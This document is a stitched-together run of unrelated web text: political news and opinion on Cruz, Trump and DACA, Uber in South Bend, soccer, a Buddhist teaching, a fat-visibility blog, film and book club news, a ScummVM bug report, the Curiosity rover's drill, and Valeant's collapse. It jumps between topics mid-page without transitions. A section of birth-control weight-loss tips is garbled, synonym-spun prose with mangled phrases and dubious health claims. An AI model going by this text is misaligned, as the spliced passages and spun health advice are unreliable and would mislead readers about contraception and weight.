“He also voted against Hurricane Sandy relief. He also voted against compensation for 9/11 victims. This is a man whose interests are absolutely antithetical to New York,” said Mr. Rivera, who was born in Brooklyn.
An incredulous Mr. O’Reilly said he doesn’t see attacking New Yorkers as anti-Semitic and cited Mr. Cruz’s explanation, which the candidate reiterated Thursday, about liberal politicians such as Mayor Bill de Blasio and Gov. Andrew Cuomo.
Mr. Cruz is trailing badly in New York, placing third in polling behind not only the New Yorker Mr. Trump, but also Ohio Gov. John Kasich.
The ridesharing service is coming to 22 more cities across the country, meaning they now serve more than 100 cities nationwide, including big cities like Chicago and Indianapolis.
To celebrate, new and existing Uber users in South Bend will get their first five rides for free through September 1st.
“We couldn't be more excited that Uber users in South Bend will now be able to request an affordable ride with the push of a button,” a spokesperson said.
The rates for an Uber ride are as follows: $1.90/base, $1.25/mile + $.25/minute. You can fare split the cost with other riders.
We gave Uber a try here at the WNDU station parking lot.
Uber started picking up drivers in South Bend around 1 p.m.
There was some type of miscommunication. The first driver didn’t show up. The second driver arrived at the station an hour and a half late.
You can't tell what Uber is because it's a driver with their own personal vehicle picking you up. All you have to do is download the app and with a few simple clicks you can arrange a pick-up.
The company says their rates are about 20 percent lower than cab fares in South Bend.
Pooneet Kant from Uber says, "What we see is there have been thousands of people in the South Bend area who have been opening the Uber app to see if Uber is available there. And we see that type of consumer demand, that's something we respond to and to open up service."
However cab drivers say there isn't enough of a market for Uber to survive here.
Henry Oladani from Empire Cab says, “The real issue is there is not enough turnover in this city to although for Uber to function properly and succeed.”
The airport announced today that Uber is not allowed to pick-up travelers there.
Cab drivers also pointed out they have to pay several fees and taxes that Uber doesn't.
For example just to stay parked outside of the airport, cab drivers are part of a contract that costs them money along with taxes with city.
To learn more about Uber, click on this link.
Uber not permitted to pick-up passengers at South Bend International Airport
In the wake of the announcement that the ride-sharing company Uber is moving into Michiana, officials at South Bend International Airport (SBN) want to inform travelers that Uber is not permitted to pick-up passengers from SBN per Ordinance 2014-01 which states, “No person, firm, corporation, or livery service shall utilize any vehicle to transport for hire any person from the facilities of the Airport unless such person, firm, corporation, or livery service has in effect a contract or lease agreement directly with the (St. Joseph County Airport Authority) Board granting the person, firm, corporation, or livery service the specific right to perform such activity. By signing said Agreement such person, firm, corporation, or livery service agrees to abide by all Rules and Regulations of the Board.”
[Tip 1] Begin By Investigating Your Eating Regimen
First tip of birth control weight loss, Most ladies don't get the crucial vitamins and supplements that they require day by day. Verify you consume three suppers a day and two snacks. Skipping dinners can ease off your digestion system and the reason you to put on weight with what you do consume.
[Tip 2] Give Careful Consideration To Divide Control As Well
Consuming excessively at one dinner can result in you have an increment in calorie consumption toward the end of the day. Settle on shrewd sustenance decisions too so you are not eager. New tree grown foods of vegetables work exceptionally well for snacks. Keep away from beverages that are high in sugar and park. Supplant them with water and green tea. They both have effective cell reinforcements.
[Tip 3] You Will Likewise Have More Vitality When You Consume Right
This thus implies you can feel energized for activities. While 30 minutes a day of activity is standard for everybody, ladies taking conception prevention pills ought to strive for the day. Join in activities that you delight in excessively so you feel inspired to stick with it.
[Tip 4] Birth Control Weight Loss – Satisfactory Slumber
Satisfactory slumber around evening time will likewise help you to shed pounds so don't give yourself the ax concerning a decent night of rest. Examination demonstrates that ladies that don't sleep enough are more prone to put on weight. Give careful consideration to the signs your body provides for you on the grounds that every lady can oblige distinctive measures of rest. Attempt to go to overnight boardinghouse up in the meantime consistently as well. This helps your body to stay on timetable and you will nod off speedier around evening time.
Presently, permit me to provide for you an expression of alert. Watch out for those contraception shots and structures that keep going for three months or more. They can make some genuine issues with your framework and can truly make you put on the weight. Yes, I know they are advantageous, yet in the event that you aren't kidding about weight loss, reconsider before utilizing them.
Thus, in the event that you are putting on weight on account of your ant conception medication pill, I recommend that you as a matter of first importance converse with your specialist and see what he thinks of. My other proposal is to make sure that you are consuming ideal for birth control weight loss and practicing dependably. Get into a decent vigorous exercise program and do some weight preparing as well. Why is the weight developing? Not to manufacture enormous muscles, yet to solidify what you have. It is a grain of truth that hard muscles smolder a bigger number of calories than fat. You can take a gander at those firm muscles as meager fat-blazing machines.
Marco Schällibaum’s men are currently at the critical point of their busiest stretch – seven games in 22 days finishing next Wednesday – of the season. But if Schällibaum keeps on adeptly managing his roster on the way to three points this Wednesday against New York (7:30 pm ET; MLS Live), his team could leapfrog a direct rival – both New York and Montreal are on 17 points, and the Impact have three games in hand.
“To me, the Red Bulls are a playoff team,” Schällibaum told reporters. “It’ll be a good test. It’s something of a summit, and we have to learn how to play like leaders. Tomorrow, when we’re in the attacking third, we’ll have to play like a team that wants to be at the top.”
READ: Is Justin Mapp finally playing his best soccer?
For that to happen, Schällibaum has made the most of the few days he’s had since Montreal’s 2-2 draw in San Jose this past weekend. He got his troops into the gym on Sunday before the day-long trip back from California, gave them a day off on Monday for freshness and called them back to the training field on Tuesday “to sweat the remaining fatigue out.”
The goal is to be ready to face a team that will look drastically different from the one they beat 1-0 in Montreal back on March 23.
That time through, New York were without Designated Players Thierry Henry and Tim Cahill, both of whom should figure on Wednesday.
Yet as Schällibaum underlined, his whole group has adopted an approach they’ve been faithful to for many months already, and the current squad rotation has only helped the players focus on that approach – regardless of who’s lining up across from them.
Perkins nominated for Save of the Week - again
“Yes, we’re moving on quickly to the next game, but we still managed to put some good performances together,” defender Hassoun Camara said. “It’s not easy with fatigue and injuries, but we’re managing ourselves well. We have some good, reliable guys on the field, as well as subs, that can help us do well in New York.
modern day yogi
Student: One of the only hopes that I find are prophecies by Guru Rinpoche who says that in this degenerated times when the disturbing emotions are so strong that the Vajrayana will flourish and that we somehow will be able to sort of deal with it.
Yes.
Student: I don’t see it happening, is it happening?
Oh this is very relative actually. For instance the Tibetan situation, the Tibetan dharma. In one way, the Tibetan dharma, practice and study, in one way it may have gone like astray and degenerated. In one way. But if you look at some of the Tibetan history and actual accounts from the mouth of, you know, from another point of view it has improved. It has improved. Because there is much more study, there is much more analysis going on. Certain way of doing things has to change, and this is for instance, okay, if you read for example Milarepa’s advice. All these great lamas of the past, when you read them, they always tell you, okay go to the cave, go to the mountains, be a wanderer. There are teachings like you are not supposed to stay in one place more than three nights. You are not supposed, you know there are actual a practice, I think it is from the, if you are familiar with the collection of advices by many other masters but it was collected by Jamgon Kongtrul Lodro Thaye, there are practices such as. You know we have something called three years retreat. There is similar, which is also three years, but within this three years you are supposed to wander. You are supposed to go around. And as soon as you feel even a slight comfort, slight familiarity with a place, such as, I don’t know, the road sign, or somebody begins to know you, you have to take off. You basically have to go through the strange land and strange place all the time. You cannot abide in one place. Things like that. There are many like that.
By the nature of how the world is manifesting, it maybe not possible, because wherever you go you need IDs. Maybe not in Nepal or places like Bhutan or Nepal or India yet, but places like in America, if you do such thing, you can be person of suspicious case. You may end up in a mental asylum. That kind of culturally and because of the time, that kind of support is changing. We will have to, what you call it, we will have to alter, not really alter, alter is not the right way – okay this is one of my, what you call it, personal, I should call it my, not really project, but it is kind of my pet vision. Pet project, you know pet vision. The role model, of course generally the role model is the Buddha. Bare feet, begging bowl, begging alms, all of this. Right? And then we have other role models like Milarepa, I don’t know, all of these cave dwellers, nettle soup eaters and all of that. And then of course the Tibetan lamas also portray this role model. What we are forgetting is there are other role models. Not everybody has to do that. Manjushri is wearing the most expensive ear ring. Avalokiteshvara has sambhogakaya outfit dotti really made in Kanchipuram. It is really really special. And then as you go, Ashoka. Some of us we should take them as role model, because as much as we should give credit to panditas and scholars and the saints of the past for the teaching, we must give credit to Ashoka. We must give, Tibetans must give credit to people like Trisong Detsen, without Trisong Detsen there is no buddha dharma. And Trisong Detsen was not a simple monk or something. He was a ?? we call it, kind of a ruthless guy. He also sometimes wage war and did things that is not necessarily goody goody. Our role model has to change. So there is a lot of hope, actually more hope. So much hope.
Look this, it is coming from somewhere else is it, the teaching, the question. Is it?
From the internet.
Because the teaching that is happening right now sounds like it is being listening by the world. And the questions are coming from all sorts of places like Croatia, Azerbaijan, all kinds of places, so that is good. Because this kind of access they don’t have. Now we should not say: well but don’t we have to go through penance. You know in the past, the great masters of the past they have walked all over from Tibet to Nepal to receive the Vajrayogini teachings, don’t we have to do that. I think that is just because you are afraid of the technology. I think modern day yogi or practitioner must really go through the pain or penance of saving the money and buying something like this, and then go through the internet and really, that involves penance. Because there is lot of hardship there to buy something like this. I am not really joking here.
Parting from the four attachments, Nepal June 2009
we claim it for ourselves!” ~Renie
Is that not the greatest quote ever? Yeah, that’s my real-life-actual friend, Renie. She’s a fucking genius, I hope she knows it, too! She wrote the above statement in comments in response to this post, which was totally about my brunch with her and my friend Alanna. They are so fierce and amazing and I look up to them so!
Why do I look up to them? Well, they are both incredible performers, passionate fat activists and they make fat visibility seem so second nature. I know fat visibility is a hot topic at the moment and certainly one I keep revisiting in my own life. It’s something you do without realizing, yet you can also be painfully aware of it simultaneously.
Are you fat? Check! Do you leave the house? Yep! Guess what? You got this fat visibility thing down! Woo! Seriously though, I know there’s far more to it than this and I also understand how difficult and disheartening it can be to go out in public while fat. Many of us have no choice, having to earn a paycheck and buy food in grocery stores and all. Even those who don’t work with the public or have to interact with many people still gotta gas up their car or grab a bite to eat now and then.
I used to believe that simply being visibly fat in public, proudly or not, was automatically a political and activism based act. Many do not like the association and just want to be left alone to live their lives. I get that, I do, it’s just that I see how much impact we can have. To me it’s about normalizing fat visibility. I know this is not easy and certainly not comfortable for everyone. Shit, it’s not always something I want to do. Sometimes I just wanna pump my gas and grab some groceries wearing an invisibility cloak, yo!
Sorry to burst any bubbles here, but I’m just not a fierce-femme-fatty-supreme (OMZ! That needs to be a t-shirt!!!) 24/7, though I do have my moments, ha-ha! I do often go to the store looking a bit, if not entirely, a mess. I feel no obligation to present myself to the world or my neighborhood in any way other than how I am feeling in the moment. I rarely wear make up and don’t even get me started on the whole women/shaving thing. *RollsEyes*
I don’t feel obligated to engage anyone who is rude, nosy or otherwise hateful. I don’t care if it’s the lady behind me in line at Trader Joe’s giving my cart the stink-eye or the old man “Good for you, all those vegetables!” full of smiles. I do my best not to bite actual heads off of people and to keep my bluntness in line with their rudeness so as not to shock the masses. Ha-ha! But you know, sometimes, I just gotta speak up for myself. Sometimes, I gotta let people know that what they are saying and perpetuating is full of lies and bullshit and they are bullies, plain and simple.
However, I know I am visible. I know I am. I big and wear bright colors and my hair is a naturally bright orange hue…what can I do? I refuse to hide or diminish my colors or size. How the world views me is none of my damned business and I’d like to keep it that way. I smile at strangers and children and dogs, I talk to cats and sometimes plants, too. I’m friendly and generally happy. I do what I can with what I’ve got, ya know? But I do not fool myself into thinking that I don’t matter, that how I live and write and act makes no impact. I know it does.
The body acceptance movement is made up of so many and does not require rules and regulation to participate or get involved. There is no wrong or right way to be fat or visible or not. You need not apply the political or activist label to yourself. You need only to live as you see fit. My only hope is that we can all be true to and honor our best selves. I choose to do that by claiming my own personal freedoms and wearing them like they can be snatched away at any time…because the truth is, they can.
Three exploitation films from the cult filmmaker will be restored for Blu-ray in January.
In an early announcement to retailers, 'The Lost Films of Herschell Gordon Lewis' will be heading to Blu-ray on January 8.
Vinegar Syndrome Films presents The Lost Films of acclaimed cult filmmaker, Herschell Gordon Lewis. 3 lost sexploitation pictures, 'Linda And Abilene' (1969), 'Ecstasies Of Women' (1969), and 'Black Love' (1971). All from the original negatives using 2k scanning and fully restored. Blu-ray/DVD combo pack. 'Linda and Abilene,' a lesbian western remains notorious for having been shot on the Spahn Ranch only months before it became inhabited by the Manson Family.
Specs are still forthcoming, but supplements will include: original theatrical trailers for each film; special edition lab cards for each film; and historical liner notes .
Suggested list price for the Blu-ray will be $24.98.
You can find the latest specs for 'The Lost Films of Herschell Gordon Lewis' linked from our Blu-ray Release Schedule, where it's indexed under January 8.
Rachel Syme is a big fan of late-night Wikipedia reading.
"Start with Cleopatra and you'll see she was one of the ancient matriarchal rulers," she said. "And it'll take you to the page of ancient matriachs. And you'll click on one. Then, 17 clicks in. you're finding stories that no one ever thought to write."
And that's exactly how #wlclub was born, from this fascination with untold women's stories.
#wlclub is a Google group book club, a Slack community, Syme's brainchild and an online meeting place for readers to parse women's biographies, written by women. Its mission is simple: read more books about women, by women. Anyone can join - the club counts several men among its members. The group's first selection was Janet Malcolm's "The Silent Woman: Sylvia Plath and Ted Hughes."
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The hashtag (signifying "women's lives club") has popped up in Twitter bios, book Instagrams and more.
Syme says she's been most impressed with how many participants have joined in the club's one-month existence. Within the first day, 175 people signed up ("Which is crazy," Syme said. "I thought it would be 10 people.").
Significant buzz on Twitter, support from Syme's own community of women writers, healthy encouragement from literati, and an article in Amy Poehler's "Smart Girls" -- now more than 1,000 members have joined the conversation.
Given how quickly it has caught on, for the club's March selection - "Wrapped in Rainbows," a Zora Neale Hurston biography - Syme asked booksellers to place bulk orders.
"Women aren't carrying enough ammunition around with us in our pockets about where we've been and who we can consider our heroes," Syme says. "When you see a line of people you can connect to from the past, your life starts to matter so much more. One other person's life is your life, too. Reading a biography is reading about your life."
And beyond that, they're actually, you know, reading the books - eyebrow-raising for any seasoned book clubber. But members are not only reading the books - they're also reading about the women. Search #wlclub on Twitter, Instagram, Tumblr and more to reveal a dedicated cadre of book selfies, highlighted lines and more.
"Most book clubs you're like 'Yeah, I'm in' and then you realize the book club is in 20 minutes and you underline a sentence and talk about it for half an hour," Syme says. "One of the things that's been so touching to me is that people are reading all around a woman's life. They're reading journals and "The Bell Jar" and articles about Sylvia."
And the social aspect is undoubtedly a huge force behind the #wlclub phenomena. Women sharing selfies with book covers, mini-essays in the Google Group and their own work within a #wlclub Slack channel - it's hard not to experience some serious cool-girls FOMO.
As the club grows, Syme envisions IRL meet-ups (already happening in Portland and San Francisco), author involvement and, of course, more members and conversations. And maybe, too, more books about amazing women.
"Their stories didn't get to be told in the grand, epic way that many men's stories were told," Syme says. "There's a movement to read the books."
some days ago I used some free time to compare the current status of
"Gabriel Knight 1 - Sins of the fathers" in the daily build of ScummVM.
For the comparison I ran DOSBox and ScummVM (1.7.0git3970-gc65e8a3 (Nov 9 2013 05:16:52))
on a MacBook Pro (OSX 10.9, Mavericks) at the same time.
For I am owner of a real Roland MT-32 sound module, I used the inbuilt Munt synthesizer
with the correct ROM file setup and the music was really amazing.
Everything seemed to work flawless up to a special point near the end of Day 1:
When trying to talk to inspector Mosely (Mostly) at his office. In the original
(proved via DOSBox) it is possible to talk to Mosely as soon as Gabriel sat down
on the chair.
In ScummVM the Object of inspector Mosely cannot be operated. While clicking at his
image within the talk option pointer (?) the female narrator tells always that "Mosely
is the person who can talked to in this room" as if I had clicked on the floor or
another domain in the screen. Out of this reason it is not possible to get further in
the story line and to complete day 1.
Beside the object error I found a sprite scaling error at the crime szene of day 1:
Instead of being scaled to the programmed image the sprites are always painted
with their smallest image.
Conclusion:
The fruits seem to hang very low now for getting the game completely playable. Maybe some
of you have time and fun to look into the described bugs. As soon as the status changes
I will test the game again.
Sincerely
Tisca Chopra has joined the long list of actors who have come out to speak about their experience with Bollywood's notorious casting couch. The actress has revealed that she was also a victim of it, bringing the issue back into the spotlight.
In a story-telling session of Kommune India, the Taare Zameen Par actress shared her nightmarish experience with an influential Bollywood director from a time when she was a nobody in the film industry. She had made her debut but had no other offers. So when a famous director approached her she grabbed the opportunity not knowing that working with him would mean agreeing to be his "bed squeeze".
Watch the actress speaking about the incident first-hand here:
Last year, actor Ranveer Singh shared his experience with the casting couch, revealing that even men are victims of it.
While Chopra's narration of the story makes the experience seem funny, it is no laughing matter. An unethical practice, the casting couch is the unspoken dark side of Bollywood that many actors have spoken about but unfortunately have not managed to eradicate from the industry. None of the actors ever dare to name the director or producer while narrating their travails, showing that their clout protects them from disrepute.
THE MORNING PLUM:
Donald Trump is suddenly overcome with a profound sense of concern over the possibility that he may be abusing his own power as president. No, really, this is what multiple news organizations are now reporting — and asking us to believe.
But, given Trump’s track record when it comes to constraining his authority thus far, perhaps a hint of skepticism is in order?
The president is nearing a very difficult decision on the fate of some 800,000 people who were brought to this country illegally as children. He has to decide whether to end the Obama-era executive action that shields those people, the “dreamers,” from deportation and permits them to work, which is called Deferred Action for Childhood Arrivals.
From news reports, we are now getting a deeper glimpse into the deliberations of Trump and his top advisers on this dilemma. Axios reports that the White House is keenly aware that ending DACA would create major complications for businesses that employ these people. Some White House staffers are also worried about facing scalding criticism for ending the program, which would uproot the lives of so many people who were brought here through no fault of their own, who are thoroughly American and who want to contribute positively to American life. Staffers view the opprobrium they would face as akin to that which met Trump’s thinly veiled Muslim ban; his pullout from the Paris climate deal; and his failure to unambiguously condemn the Charlottesville white supremacists.
In other words, some people in the White House appear to believe that ending protections for the dreamers could constitute a monstrous and deeply consequential moral wrong, on a par with some of the very worst things we have seen from Trump thus far. But according to Axios, Trump may pull the plug on DACA because the prevailing White House view is that continuing it would be illegal:
Senior officials tell us the majority view inside the Trump administration is that DACA is illegal, and the only way to deal with the problem of illegal immigrants who arrived here as children is for Congress to act.
The Associated Press similarly reports that Trump is expected to end the program. Sources tell the AP that the administration is deeply split between those who argue for keeping the program (Jared Kushner and Ivanka Trump) and the immigration hard-liners who have argued that it is unconstitutional (Stephen Miller, Jeff Sessions, the now-departed Stephen K. Bannon). So Trump is likely to side with the immigration hard-liners, who are leaking that they believe keeping this executive action violates the Constitution — and this will be the defense for ending it.
Are you freaking kidding me? Are we really supposed to believe the constitutionality of the program is weighing on Trump or will be instrumental in shaping his final decision?
It is a truly shocking coincidence that the same advisers who are telling Trump that DACA is unconstitutional were also the ones most responsible for the disguised Muslim ban and also pushed Trump to pardon Joe Arpaio. Bannon and Miller were key drivers of the ban’s original rollout. They both reportedly favored pardoning Arpaio. My point is not just that this strongly suggests their view of DACA’s constitutionality is rooted in their hostility to immigrants, though it does.
It’s also that this hints at an amusing double standard on the part of the White House’s immigration hard-line faction when it comes to the care with which they approach Trump’s exercise of his authority. Bannon and Miller’s haste to rush out the travel ban led them to trample all over the proper legal process for such measures, which in turn helped lead to its initial blockage by the courts. Bannon and Miller also appear to have privately told Trump that pardoning Arpaio would please his base, which only underscores how cavalier they were about a major decision with serious separation-of-powers implications. While Trump’s pardon power is quasi-absolute, there is widespread agreement that this nonetheless constituted an abuse of his power, something that plainly did not concern Bannon and Miller.
Nor was Trump remotely concerned about the legal details surrounding his use of executive authority to institute the veiled ban on Muslims, or about the prospect that pardoning Arpaio might constitute an abuse of his power. And do we really need to remind you of Trump’s abuses of power and lawlessness in other areas — the emoluments clause violations; the firing of the FBI director over the Russia probe after demanding his loyalty; the rage at his attorney general for failing to protect him from that probe; and the obvious use of the Arpaio pardon to signal that more pardons on Russia may be coming?
To be clear, I’m not arguing that there is not a legitimate debate over whether DACA is constitutional. There is. My own view is that DACA and Obama’s attempted expansion of it, which was blocked by the courts, are legitimate exercises of executive discretion. But it’s not really that unreasonable to argue that they aren’t. DACA and its expansion did push hard into new legal territory. It is plausible that the courts would strike DACA down. This would not be a wildly absurd decision. Similarly, though some conservatives like to pretend DACA’s unconstitutionality is an easy call, this is actually grounds for a legitimate legal dispute in both directions. Indeed, four Supreme Court justices and a host of legal experts, including ones who lean to the right, did not see Obama’s expansion of it as illegal. Many argue DACA is legal.
So this is not a slam-dunk case in either direction. But does anyone really believe that Trump, Bannon or Miller, of all people, are motivated by any good-faith effort to determine whether DACA constitutes an abuse of the president’s power? Come on now. Seriously?
* PUBLIC DISAGREES WITH TRUMP ON ARPAIO, DREAMERS: A new NBC News/SurveyMonkey poll finds that Americans say Trump’s pardon of Arpaio was “wrong” by 60 percent to 34 percent. They support protections for the dreamers (which Trump may scrap) by 64 percent to 30 percent. And 71 percent say most undocumented immigrants should be given a path to legalization.
But wait, we keep hearing that Trump’s immigration agenda has the support of a vast silent majority of “the people,” while only “elites” who have contempt for the “deplorables” disagree with it.
* MAJORITY SAYS TRUMP IS ‘TEARING THE COUNTRY APART’: A new Fox News poll finds that 56 percent of Americans believe Trump is “tearing the country apart,” and another 56 percent say Trump doesn’t respect minorities. Meanwhile, all of 18 percent favor a government shutdown to get Trump’s wall on the Mexican border.
One wonders if Trump will dismiss even a Fox poll as #FakeNews …
* MUELLER TEAMS UP WITH NEW YORK’S ATTORNEY GENERAL: Politico reports that special counsel Robert S. Mueller III has quietly teamed up with New York Attorney General Eric Schneiderman, to thwart the possibility that Trump might issue pardons:
The cooperation … could potentially provide Mueller with additional leverage to get [former Trump campaign chairman Paul] Manafort to cooperate in the larger investigation into Trump’s campaign, as Trump does not have pardon power over state crimes. … State and federal prosecutors believe the prospect of a presidential pardon could affect whether Manafort decides to cooperate with investigators in the federal Trump investigation, said one of the people familiar with the matter.
This would suggest that Mueller and his investigators may be reading Trump’s pardon of Arpaio as a hint of more pardons to come in the Russia probe, and are preparing accordingly.
* TRUMP SLIDES TOWARDS AUTOCRACY: E.J. Dionne nails it on the larger meaning of Trump’s pardon of Arpaio:
It may be the most dangerous act of Trump’s presidency. The occupant of the White House has claimed the power to permit government agents to violate the constitutional rights of Americans and to override the courts if he doesn’t like what they’re doing. This is the largest single step toward autocracy Trump has taken. … Trump seems to be for his version of “order” but indifferent to the “law” part.
Absolutely right. And this is why Republicans and Democrats need to send a loud signal right now that any pardons in the context of the Russia probe will be met with a forceful response.
* TRUMP ADMINISTRATION STILL THREATENS ACA SABOTAGE: The New York Times reports that the administration is still declining to say whether it will continue paying the cost-sharing subsidies necessary to stabilizing the Affordable Care Act’s markets. Per one official:
The official … declined to say whether the administration would continue paying subsidies to insurance companies to compensate them for reducing deductibles and other out-of-pocket costs for low-income people. … The administration, the official suggested, will do the minimum necessary to comply with the law. … Members of Congress from both parties say they want to provide money for the subsidies, which Mr. Trump has repeatedly threatened to cut off.
Crucially, merely signaling uncertainty about whether they will continue is itself destabilizing the markets. But congressional Republicans can fix this by appropriating the money if they wish to.
* TRUMP DISSEMBLES IN SELLING TAX CUTS FOR RICH: In his big speech rolling out his tax-reform non-plan, Trump claimed that the U.S. business tax rate is 60 percent higher than in competing countries. Glenn Kessler and Michelle Ye Hee Lee bring the facts:
The United States certainly has one of the highest statutory corporate tax rates in the world. … But the official rate does not necessarily tell the whole story. What also matters is the actual tax a company pays, after deductions and tax benefits. That is known as the effective tax rate, which can be calculated differently depending on the survey. According to the Congressional Research Service, the effective rate for the United States is 27.1 percent, compared to an effective GDP-weighted average of 27.7 percent for the OECD.
If the idea that it’s a huge problem for the country that the wealthy and corporations are paying too much sounds like the same old Republican orthodoxy, that’s because it is.
* WARREN BUFFET: THIS ISN’T TAX REFORM, IT’S TAX CUTS: Billionaire businessman Warren Buffet gives a good quote to Fox Business Network on the real meaning of Trump’s tax “reform” plan:
“I’ve never heard anyone describe a tax move as tax reform if their own taxes were getting increased. So I don’t think we’re talking about tax reform. … It looks like we’re moving more and more towards an overall tax cut. … it will be called tax reform, though.”
There’s this battle cry among southern rednecks, “The South will rise again!” And if you look at the ascension of the Tea Party and Donald Trump and all the policies that go along with it, it kinda seems like that’s exactly what’s happening. But before you start worrying that all of America is turning into one big rerun of “The Dukes of Hazzard,” consider some of the metrics of the Republican Party. They’re rural constituents are getting older, they’re feeling the brunt of Republican economic policies and they’re losing their battles against progressive social justice.
To see where the Republicans’ rural, redneck control of America is headed, look no farther than Nascar. The Wall Street Journal recently featured this headline: “Nascar, Once a Cultural Icon, Hits the Skids… Stock-car racing’s popularity declines amid ‘economics and demographics.’”
Nothing reflects the defiant inanity of Southern/rural culture like the loud, fossil-fuel-burning spectacle of Nascar. And it’s dying. The fans, like Republicans in general, are getting older and dying off, economics are squeezing them to the point where they can’t afford the ticket prices and a changing cultural attitude makes it so they can’t attend races with Confederate flags and celebrate race events with drunken all-night keg parties.
More WSJ: “Since 2005, Nascar’s television viewership is down 45%... Tracks have torn out about a fourth of their seats to look fuller but still have wide stretches of empty bleachers on race days. Nascar’s fan base, largely working-class and white, is getting older overall and was hit harder by the recession than the more-affluent fan bases in other major sports… [I]n 2015 [there was] a ban on flying the Confederate flag at races.”
When the actor was cast as the DC Comics hero earlier this year, many fans responded by criticism his physical appearance. Levi hadn't done any super hero body prepping at the time, coming off roles such as Chuck and voice acting in Tangled: The Series.
During an appearance at The Game Awards, though, Levi appeared to be have begun his bulking for the DC Comics role.
Did somebody call the Nerd Herd? Chuck is in the building! Hey @ZacharyLevi! ?? #TheGameAwards pic.twitter.com/FqWbzHwUxQ — The Game Awards (@thegameawards) December 8, 2017
The appearance is quite different from that of the Justice League premiere, where Levi estimated his diet to be over 4,000 calories a day and promised he would be bulking up for the part. Such an intake is enough to gain about a pound a week for someone of his 6' 4" height and age.
Dwayne Johnson recently spoke to ComicBook.com about Levi's casting and the split between the Black Adam and Shazam movies. "I think they've got a great plan over there with [Levi] and I wish those guys the best of luck," Johnson said. "We had to split the idea because the obviously idea was Black Adam and Shazam. So we split it. Those guys are gonna do great with it."
The five-year-old mission is still several months from the soonest possible resumption of drilling into Martian rocks. Managers are enthusiastic about successful Earth-based tests of techniques to work around a mechanical problem that appeared late last year and suspended use of the rover's drill.
"We're steadily proceeding with due caution to develop and test ways of using the rover differently from ever before, and Curiosity is continuing productive investigations that don't require drilling," said Deputy Project Manager Steve Lee, of NASA's Jet Propulsion Laboratory, Pasadena, California.
Curiosity touched its drill to the ground Oct. 17 for the first time in 10 months. It pressed the drill bit downward, and then applied smaller sideways forces while taking measurements with a force sensor.
"This is the first time we've ever placed the drill bit directly on a Martian rock without stabilizers," said JPL's Douglas Klein, chief engineer for the mission's return-to-drilling development. "The test is to gain better understanding of how the force/torque sensor on the arm provides information about side forces."
This sensor gives the arm a sense of touch about how hard it is pressing down or sideways. Avoiding too much side force in drilling into a rock and extracting the bit from the rock is crucial to avoid having the bit get stuck in the rock.
Curiosity has used its drill to acquire sample material from Martian rocks 15 times so far, from 2013 to 2016. It collected powdered rock samples that were delivered to laboratory instruments inside the rover. On each of those occasions, two contact posts -- the stabilizers on either side of the bit -- were placed on the target rock while the bit was in a withdrawn position. Then a motorized feed mechanism within the drill extended the bit forward, and the bit's rotation and percussion actions penetrated the rock.
The drill's feed mechanism stopped working reliably in December 2016. After exploring possibilities of restoring the feed mechanism's reliability or using it despite unreliability, the project set a priority to develop an alternative method of drilling without use of the feed mechanism. The promising alternative uses motion of the robotic arm to directly advance the extended bit into a rock.
"We're replacing the one-axis motion of the feed mechanism with an arm that has five degrees of freedom of motion," Klein said. "That's not simple. It's fortunate the arm has the force/torque sensor."
The sensor's main use until now has been to monitor for a force so excessive of expectations that it would automatically halt all arm motion for the day. The new "feed-extended" drilling uses it to compensate for side loads. This test will help engineers determine how data from the sensor can be used most effectively.
Using this method, a near-twin of Curiosity at JPL has collected drilled samples from Earth rocks. The team has also developed methods to deliver drilled samples to the laboratory-instrument inlets on the test rover's deck without use of the drill's feed mechanism. Development of this alternative sample-transfer technique is needed because the process used previously depended on having the bit in a withdrawn, rather than extended, position.
"The development work and testing here at JPL has been promising," Lee said. "The next step is to assess the force/torque sensor on Mars. We've made tremendous progress in developing feed-extended drilling, using the rover's versatile capabilities beyond the original design concepts. While there are still uncertainties that may complicate attempts to drill on Mars again, we are optimistic."
The rover's current location is on "Vera Rubin Ridge" on lower Mount Sharp. Curiosity is nearing the top of the 20-story-tall ridge. It has been studying the extent and distribution of the iron-oxide mineral hematite in the rocks that make up the erosion-resistant ridge.
During the first year after Curiosity's landing near Mount Sharp, the mission accomplished a major goal by determining that, billions of years ago, a Martian lake offered conditions that would have been favorable for microbial life. Curiosity has since traversed through a diversity of environments where both water and wind have left their imprint. Vera Rubin Ridge and layers above it that contain clay and sulfate minerals provide tempting opportunities to learn even more about the history and habitability of ancient Mars. For more about Curiosity, visit:
https://mars.jpl.nasa.gov/msl
News Media Contact
Rival designs for the future of Birmingham’s iconic Centenary Square will go on display this week and visitors will be asked for their views.
The five designs were revealed earlier this year from architects Atkins, Barton Willmore, Broadway Malayan, Open Studio and Graeme Massie Architects.
It is hoped to find the design which best compliments the Square’s landmark buildings including the Library of Birmingham, the ICC and Hall of Memory as well as being a hub for the city centre.
Designs also highlight the new Midland Metro extension being built over the next four years, as well as new developments at Arena Central and Paradise Circus .
They were selected from almost 200 entries from architects around the world as part of a competition run by the Royal Institute of British Architects.
The display is held at the Library of Birmingham from Friday, May 22 to Saturday, May 30, during Library opening hours .
There is also the chance to vote for a favourite design online at www.ribacompetitions.com/centenarysquare
A judging panel will select the winner, but has pledged to take the public view into account.
Council deputy leader Ian Ward said: “One of these five finalists will see their design become reality, transforming Centenary Square into a place where people will stop, relax and socialise, rather than simply passing through.
Ackman and Pershing Square began investing in Valeant Pharmaceuticals when its stock was trading around $190 per share in 2015 and it could seemingly do no wrong. Valeant had exceptional pricing power on its pharmaceutical products, and it was a bustling merger and acquisition (M&A) engine that was financing new drug and company acquisitions with debt. Its growing debt levels seemed to be of little concern because its EBITDA (earnings before interest, taxes, depreciation, and amortization) continued to rise with each new deal.
In the summer of 2015, shortly after Valeant hit an all-time high of $264 a share, the wheels fell off the bus, and Ackman would be taken for the ride of his life.
Valeant's fall from grace
First, Valeant came under fire for its pricing practices on cardiovascular drugs Nitropress and Isuprel, which were acquired from Marathon Pharmaceuticals in Feb. 2015. Valeant admitted to raising the list prices on both products by 525% and 212%, respectively, without altering their formulation or manufacturing process. This admission by now-former CEO J. Michael Pearson led to Valeant losing a lot of its pricing power.
Next came the scandals. Valeant's relationship with Philidor Rx Services, an owned subsidiary, was questioned. In particular, federal prosecutors examined whether or not Philidor was acting as a neutral party between Valeant and insurers. If it was somehow showing partiality to Valeant's more expensive brand-name products, and executives knew about it, this would be a big problem. Ultimately, two former executives -- one from Valeant and one from Philidor -- were charged.
Next in line were Valeant's debt woes. With the company's pricing power becoming constrained and its EBITDA forecasts adjusted lower, creditors essentially cut off new debt deals. This brought the full weight of its $30 billion-plus in debt into view, and it frankly scared Wall Street and investors.
